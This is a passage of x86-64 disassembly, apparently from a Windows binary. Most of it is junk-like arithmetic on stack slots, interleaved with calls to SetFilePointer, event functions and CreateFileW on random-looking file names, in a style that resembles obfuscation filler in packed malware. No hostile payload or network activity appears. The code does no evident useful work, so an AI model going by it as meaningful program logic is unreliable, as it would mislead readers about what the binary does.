call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x320]
mov rcx, qword [0x1400fd1a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12a8], rax
mov rax, qword [rsp + 0xa68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov dword [rsp + 0xb88], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0xe4]
movsx ecx, byte [rsp + 0x61]
shl eax, cl
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa28]
mov word [rcx], ax
movzx eax, word [rsp + 0x13c]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov word [0x1400fc398], ax
lea rax, [rsp + 0xa70]
mov qword [rsp + 0xd50], rax
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x1cc]
sar eax, cl
mov word [rsp + 0x70], ax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x800], rax
imul eax, dword [0x1400fc384], 0x24db40b6
mov dword [rsp + 0xa4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe1bf
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov eax, dword [rsp + 0x56c]
mov ecx, dword [rsp + 0xc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x110c], eax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x470], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov rax, qword [rsp + 0x180]
movzx eax, word [rax]
mov word [rsp + 0x164], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc3bc], ax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x618]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xfb8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2ae0
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x904], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a8c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xebf7
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f0], eax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [0x1400fc3b0]
sar eax, cl
mov word [rsp + 0x4b0], ax
movzx eax, word [rsp + 0x6c]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0x574], eax
mov rax, qword [rsp + 0xc98]
mov rcx, qword [0x1400fd148]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0xf40], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e8]
mov qword [rsp + 0x44d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x540], rax
movzx eax, word [0x1400fd16c]
mov word [0x1400fd1dc], ax
movzx eax, word [rsp + 0x8c]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x144], ax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x109]
add eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [0x1400fd138]
mov rcx, qword [rsp + 0x9c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x94], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x38e0
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
lea rax, [rsp + 0x978]
mov qword [rsp + 0xff0], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x330]
shr eax, cl
mov dword [rsp + 0x688], eax
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x818]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x11d8], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0xea]
mov byte [rsp + 0xcc], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xc2d8
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a44], eax
movsx eax, word [rsp + 0xd0]
movsx ecx, word [0x1400fd140]
add eax, ecx
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x148]
and eax, ecx
mov word [0x1400fd150], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xb40], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6f4e
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
add eax, ecx
mov word [rsp + 0x8c], ax
movsx eax, word [rsp + 0x164]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa28]
mov word [rcx], ax
mov rax, qword [rsp + 0xca0]
mov qword [rsp + 0x16c0], rax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x338]
movzx ecx, al
mov rax, qword [rsp + 0x838]
shl rax, cl
mov qword [rsp + 0x18a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1210], rax
mov rax, qword [rsp + 0xa90]
mov ecx, dword [rsp + 0x56c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xc4], eax
lea rax, [0x1400fd144]
mov qword [rsp + 0x7d0], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd128], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x85aa
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x1730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x94], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
movzx eax, word [rsp + 0x140]
mov word [rsp + 0x1d8], ax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x84]
and eax, ecx
mov rcx, qword [rsp + 0xa60]
mov word [rcx], ax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7f0]
mov qword [rsp + 0x44e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x684], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.5EEbB7aSI1N
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2a50], rax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov rax, qword [rsp + 0xd38]
mov rcx, qword [rsp + 0xa80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0x81]
add eax, ecx
mov byte [rsp + 0xbc], al
mov eax, 0x38
imul rax, rax, 0
mov dword [rsp + rax + 0x5b60], 0x416cab40
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x7e0], rax
movzx eax, word [rsp + 0x150]
mov word [0x1400fd1e0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xea1
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [0x1400fc3a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x950], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xed12
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0x9c0], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1f98], rax
movsx eax, word [rsp + 0x1e0]
movsx ecx, word [rsp + 0x1d8]
add eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
lea rax, [rsp + 0x500]
mov qword [rsp + 0xa10], rax
movsx eax, byte [rsp + 0x90]
movsx ecx, byte [rsp + 0x5a]
or eax, ecx
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0xc4]
movzx ecx, al
mov eax, dword [rsp + 0x8d4]
shl eax, cl
mov dword [rsp + 0x8e8], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xfb], al
mov eax, dword [rsp + 0x47c]
movzx ecx, al
mov eax, dword [rsp + 0x678]
sar eax, cl
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x42e2
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc3c0], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0xf80], rax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
mov rcx, qword [0x1400fd1a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec], ax
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0x1370], rax
mov rax, qword [rsp + 0xa68]
mov rax, qword [rax]
add rax, qword [rsp + 0x10c0]
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
mov dword [rsp + 0x514], eax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
sar eax, cl
mov rcx, qword [rsp + 0x968]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d4]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x958]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.n21gnQUyV0yR2uSZqvmzamasj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1d18], rax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [0x1400fd198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
sub eax, ecx
mov word [rsp + 0x244], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c8]
add rax, qword [rcx]
mov qword [0x1400fc3a0], rax
movzx eax, word [rsp + 0x13c]
movzx ecx, word [0x1400fc3bc]
and eax, ecx
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov qword [rsp + 0x1750], rax
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rsp + 0x9c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x778]
mov qword [rcx], rax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x768]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca8]
mov qword [rsp + 0x44e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x44e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb9c], eax
mov eax, dword [rsp + 0xbc4]
imul eax, dword [rsp + 0x480]
mov dword [rsp + 0xb4], eax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x830], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf6f5
mov rcx, qword [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
sar eax, cl
mov byte [rsp + 0x90], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1160], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov word [0x1400fc3b0], ax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d4]
add eax, ecx
mov word [rsp + 0x168], ax
movzx eax, word [rsp + 0x214]
mov word [rsp + 0x498], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x244], ax
lea rax, [rsp + 0x330]
mov qword [rsp + 0xd80], rax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1208]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1408], rax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x119], al
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98]
add eax, ecx
mov word [rsp + 0xd0], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x214]
sar eax, cl
mov word [rsp + 0x144], ax
lea rax, [rsp + 0x978]
mov qword [0x1400fd1e8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4ff5
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1740], rax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x778]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xfe0]
mov qword [rsp + 0x1298], rax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x668]
mov byte [rcx], al
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x168c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.BSr9bXwAT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1940], rax
mov rax, qword [rsp + 0x7c0]
movzx ecx, al
mov rax, qword [rsp + 0xc98]
shr rax, cl
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x10b0], rax
lea rax, [0x1400fd1d8]
mov qword [0x1400fd1f0], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a0], ax
movsx eax, word [rsp + 0x164]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d8], ax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xea]
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0xa68]
mov rax, qword [rax]
add rax, qword [rsp + 0xa80]
mov qword [rsp + 0xfc0], rax
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x988]
mov dword [rcx], eax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xa58], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x169f
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
movzx eax, word [0x1400fd144]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd160]
mov word [rcx], ax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
add rax, qword [rsp + 0x120]
mov qword [rsp + 0xd30], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x1228], rax
mov eax, dword [rsp + 0xa4]
mov ecx, dword [0x1400fc384]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
mov byte [rsp + 0x91], al
mov eax, dword [rsp + 0x514]
mov ecx, dword [rsp + 0x510]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x56c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.DTCbsCduyG74nqcTiE2g
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x31a0], rax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x1720]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x338], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0x92]
shl eax, cl
mov byte [rsp + 0x11f], al
mov rax, qword [0x1400fd1b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19c], ax
lea rax, [rsp + 0x150]
mov qword [0x1400fd1f8], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x7f8], rax
mov rax, qword [0x1400fd1a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x780]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x886a
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0xc88], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1330], rax
mov rax, qword [rsp + 0xa48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x574]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x684], eax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0x1260], rax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x9c]
and eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0xfb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd140], ax
movzx eax, word [rsp + 0xd4]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x39c], ax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
cdq
idiv ecx
mov byte [rsp + 0xb0], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x724e
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x1278], rax
mov rax, qword [0x1400fd128]
movzx ecx, al
mov rax, qword [rsp + 0xdb8]
sar rax, cl
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0x660]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x574], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [rsp + 0x2898], rax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11f], al
movsx eax, word [rsp + 0x1d4]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x250], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov word [0x1400fd200], ax
mov rax, qword [rsp + 0x14a8]
mov rcx, qword [rsp + 0xb70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x114]
mov qword [rsp + 0xa98], rax
movsx eax, word [rsp + 0xf0]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x414], ax
mov rax, qword [0x1400fd180]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x12f8]
sar rax, cl
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xeb64
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x1008], rax
mov rax, qword [rsp + 0xa80]
mov rcx, qword [rsp + 0x818]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1208], rax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
mov byte [rsp + 0xf9], al
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x13c]
sub eax, ecx
mov word [rsp + 0x5c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x39f0
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0xa18]
mov rcx, qword [rsp + 0xb70]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc3c8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1b48], rax
mov rax, qword [0x1400fd138]
mov rcx, qword [rsp + 0x1278]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf0], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x820], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfb1c
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
movsx eax, word [rsp + 0x1a0]
movsx ecx, word [rsp + 0x7c]
and eax, ecx
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
movzx eax, word [0x1400fd150]
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x7f0]
mov rcx, qword [rsp + 0xca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb88], eax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
sar eax, cl
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0x1408]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd18], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a0], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26c]
xor eax, ecx
mov word [0x1400fd178], ax
mov rax, qword [rsp + 0x9c0]
mov qword [rsp + 0x2448], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x778]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
lea rax, [0x1400fc3a0]
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0xa58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf0]
add eax, ecx
mov word [rsp + 0x140], ax
mov rax, qword [rsp + 0xa68]
mov rcx, qword [rsp + 0xa10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x71dd
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sar eax, cl
mov byte [rsp + 0x11c], al
mov rcx, qword [rsp + 0x810]
